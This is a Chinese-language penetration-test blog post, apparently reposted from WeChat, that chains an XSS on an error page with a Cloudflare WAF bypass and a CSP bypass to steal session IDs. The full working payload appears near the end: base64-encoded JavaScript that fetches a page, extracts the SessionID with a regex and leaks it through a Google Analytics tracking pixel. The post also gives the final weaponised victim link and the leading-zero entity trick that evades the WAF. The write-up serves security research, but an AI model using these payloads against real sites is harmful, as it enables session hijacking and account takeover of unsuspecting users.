简介
在HTTP500“内部服务器错误”页面上,似乎是一个常规的跨站脚本(XSS)漏洞,我设法在评估中变成了一键式帐户接管。在这篇博客文章中,我想描述我利用已知的CloudflareWAF绕过和谷歌分析提取会话令牌作为CSP绕过来实现这一目标的路径。
侦察
在评估开始时,我很快注意到Web应用程序将SessionID作为某种错误报告JavaScript函数的一部分存储在消息变量中。如果触发window.onerror,该函数将被执行:
所以我去寻找一种方法来提取这些数据。有什么比一个可能的、理论上的中间人来做这项工作更好的呢?当然XSS!
在评估过程中,发现了这个有趣的XSS向量,可以在500“内部服务器错误”页面上找到。请注意URL中的EndUserVisibleHtmlMessage参数:
https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3CXS%20S%20payload%20here%3E&ShowWarningIcon=False&Title=Culture+change+detected&Culture%20Info=be-EN&Print=False
这听起来不太安全,是吗?事实上,几乎太容易被利用了。但是,有一个问题!有两种保护措施阻止我们使用该参数成功进行XSS攻击,因此我们需要一个攻击计划:
-
绕过CloudFlare Waf
-
绕过CSP
由于Cloudflare位于应用程序前面,这意味着简单的 <script>alert(1)</script>
-payload不会弹出。
DNS覆盖
我们的第一个想法是尝试一种常用的方法来绕过WAF客户端:DNS覆盖。假设我们可以发现Cloudflare背后的源服务器(它允许从一般互联网连接),我们可以通过直接连接到它来绕过WAF。
有许多公开的方法可以发现使用基于云的WAF(以及CloudflareWAF本身)保护的Web服务的源服务器。例如:
-
在像Censys这样的服务上搜索网站的域名,这将显示信息,例如哪些服务器正在使用相同的TLS证书
-
通过在Shodan(https://github.com/pielco11/fav-up实现)上搜索相同的Fagico哈希来泄漏地址
-
搜索历史DNS数据。
一旦你知道源服务器IP,Burp Suite允许快速设置自己的DNS记录下"项目选项"->"主机名解析"。
在使用我们发现的源服务器的正确IP地址启用主机名解析后,Koen确认了他的想法,XSS确实如此。众所周知的alert(1)立即执行。
但你可能会想,“当针对受害者时,这并不总是绕过Cloudflare的可行方法”。你是对的,特别是当你无法访问受害者的基础设施或计算机时。由于这不是继续攻击链的选项,我们转而专注于在应用程序级别绕过Cloudflare。
Cloudflare基于签名的绕过
Cloudflare做了很多很酷的事情,我鼓励你去看看他们的博客!不幸的是,一些众所周知的WAF绕过似乎没有被注意到/修复。我在网上中搜索了一个,仍然可以使用
CloudflareXSS通过为dec添加8个或更多多余的前导零和为十六进制添加7个或更多来绕过。 |
我发现有点奇怪的是,如果URL中有eval字符串,他们的WAF不会阻塞,只要第一个括号(被替换为%26%230000000040。
无论如何,第一件烦人的事情已经解决了。成功绕过云waf,接下来就是CSP 绕过
CSP Bypass
Web应用程序具有以下内容安全策略(CSP):
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://ssl.google-analytics.com https://maps.googleapis.com https://webapp.example.eu https://connect.facebook.net https://themes.example.eu; img-src 'self' https://ssl.google-analytics.com https://s-static.ak.facebook.com https://webapp.example.eu https://themes.example.eu http://images-awstest.example.com; style-src 'self' 'unsafe-inline' https://fonts.lug.ustc.edu.cn https://webapp.example.eu https://themes.example.eu; font-src 'self' https://google-themes.lug.ustc.edu.cn; frame-src https://webapp.example.eu https://www.facebook.com https://s-static.ak.facebook.com; object-src 'none' |
通过仔细检查CSP,我们可以看到它允许脚本从域本身运行,这是由于script-src'self''unsece-inline''unsece-eval'。
所以我想,也许一个带有Burp CollaboratorURL的快速fetch()就足够了,但是不行…我们得到一个错误,显示connect-src不允许fetch()函数对未声明的域进行外部HTTP调用。只有源域有效。
虽然CSP中没有写connect-src,但default-src'self'禁止任何未声明的指令被“恶意”执行。那么,什么是允许的呢?
img-src https://ssl.google-analytics.com |
也许对于你们中的一些人来说,这让人想起了什么。通过Google Analytics进行提取!但是怎么做呢?
谷歌分析
像Facebook一样,Google Analytics通过跟踪像素提供跟踪功能。通常,跟踪像素会进行一些日志记录/指纹识别,但在这种情况下,我们可以主动滥用它作为数据提取通道。
通过深入挖掘谷歌分析文档,可以构建一个有趣的收集URL。这个URL有一个特定的参数,允许包含任意字符串。这个参数叫做ea。
为了能够使用跟踪像素成功添加分析,需要3个强制性参数:
TID,这是我们为执行攻击而设置IDGoogle Analytics PoC帐户
cid,这是一个随机数,用于区分浏览器/用户,也称为指纹识别
ea,它可以有任意分配给它
所以,一个快速的例子是:
https://ssl.google-analytics.com/collect?v=1&tid=UA-190183015-1&cid=13333337&t=event&ec=email&ea=anystring |
考虑到这URL,可以肯定地说,我们也可以绕过CSP策略,完成攻击的最后一个目标。
把所有的碎片串起来
我们拥有实现成功攻击链所需的所有4个部分。总结一下,它们是:
-
JavaScript函数中可访问的SessionID
-
Cloudflare绕过
-
CSP绕过
-
谷歌分析收集URL
让我们把它们串起来,偷一些会话ID!
使用JavaScript获取SessionID值
如介绍中所述,应用程序在错误消息传递功能中显示了用户的会话cookie。有什么比一个好的旧正则表达式更好的方法来提取我们想要的值呢?
我很快去regex101.com并构建了一个提取特定字段及其相应值的正则表达式,一个24个字符的字母数字会话ID,如下所示。
而实际的正则表达式:
Plaintext |
编写有效载荷代码
由于我们想将Google Analytics Pixel附加到我们的网页上,我们将不得不定义一个新变量。让我们称之为gaimage:
Plaintext |
接下来,我们声明我们的正则表达式变量:
Plaintext |
下一步有点复杂。
应用程序在返回200 OK的应用程序中到处都返回了错误JavaScript函数,但由于XSS切入点是在HTTP500“内部服务器错误”页面上找到的,我们不得不使用跨站点请求伪造。基本上是向包含会话ID的页面发出请求以进行提取。
对于我们的有效负载,以下JavaScript执行以下操作:
1获取返回200 OK的页面的页面内容,对于PoC目的,它是一个随机页面URL命名为:/Search/Criteria
1将我们的Google Analytics(分析)收集URL作为源分配给img属性
1cid由一个Math函数随机生成
1最重要的是,ea参数填充了使用正则表达式提取的SessionID值
Plaintext |
最后,这段代码通过将实际gaimage附加到超文本标记语言DOM本身来包装:
Plaintext |
我们的JavaScript生成的恶意img元素如下所示:
|
构建超文本标记语言注入
作为攻击准备的最后一步,我们需要在XSS发生的EndUserVisibleHtmlMessage参数内尽可能整齐地将所有内容组合在一起。
为了防止任何编码问题(或可能的检测),我选择使用base64对JavaScript有效负载进行编码,然后URL编码。这意味着这段代码:
Plaintext |
变成了这个:
Plaintext |
这也意味着out payload必须通过解码我们执行的编码步骤来构建超文本标记语言payload本身:
<svg onload=
eval
(atob(
decodeURIComponent
(
"dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg/OlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs="
)))>
然而,上述超文本标记语言不起作用,因为它没有Cloudflare绕过。通过应用我之前提到的Cloudflare绕过,我们来到了我们可以发送给受害者的最后一个链接:
https://webapp.example.eu/Shared/VisibleError?NotDialog=True&ErrorCode=&EndUserVisibleHtmlMessage=%3Csvg%20onload=eval%26%230000000040atob%26%230000000040decodeURIComponent%26%230000000040%22dmFyIGdhaW1hZ2U9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW1nIik7IHZhciByZWdleCA9IC8oPzpTZXNzaW9uSUQ6ICg%2FOlthLXpBLVowLTktX117MjR9KSkvZ207IGZldGNoKCIvU2VhcmNoL0NyaXRlcmlhIikudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS50ZXh0KCkpLnRoZW4oZGF0YSA9PiBnYWltYWdlLnNyYz0iaHR0cHM6Ly9zc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTE5MDE4MzAxNS0xJmNpZD0iK01hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDg5OTk5OTk5OTkgKyAxMDAwMDAwMDAwKSsiJnQ9ZXZlbnQmZWM9ZW1haWwmZWE9IitlbmNvZGVVUklDb21wb25lbnQoZGF0YS5tYXRjaChyZWdleCkpKTsgZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChnYWltYWdlKTs%3D%22)))%3E&ShowWarningIcon=False&Title=Culture+change+detected&CultureInfo=be-EN&Print=False |
受害者的视角
从受害者浏览器的角度来看,标记将入到DOM中,如下所示。
超文本标记语言注入在浏览器中执行而不触发客户端错误。随着会话ID添加到跟踪像素,有效负载已准备好通过Google Analytics发送给攻击者!
攻击者的视角
在Google Analytics(分析)仪表板中,作为攻击者,我们可以看到受害者会话ID作为我们应用程序上的“活跃用户”发送:)
链接这些漏洞最终通过向受害者发送1个链接导致帐户被接管。
哇哦!
附加说明:使用具有跟踪预防功能的广告拦截器的用户不易受到此攻击,因为对Google Analytics的请求通常会被这些扩展程序阻止。
原文始发于微信公众号(暴暴的皮卡丘):Cloudflare Waf + google分析 = Oneclick ATO
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论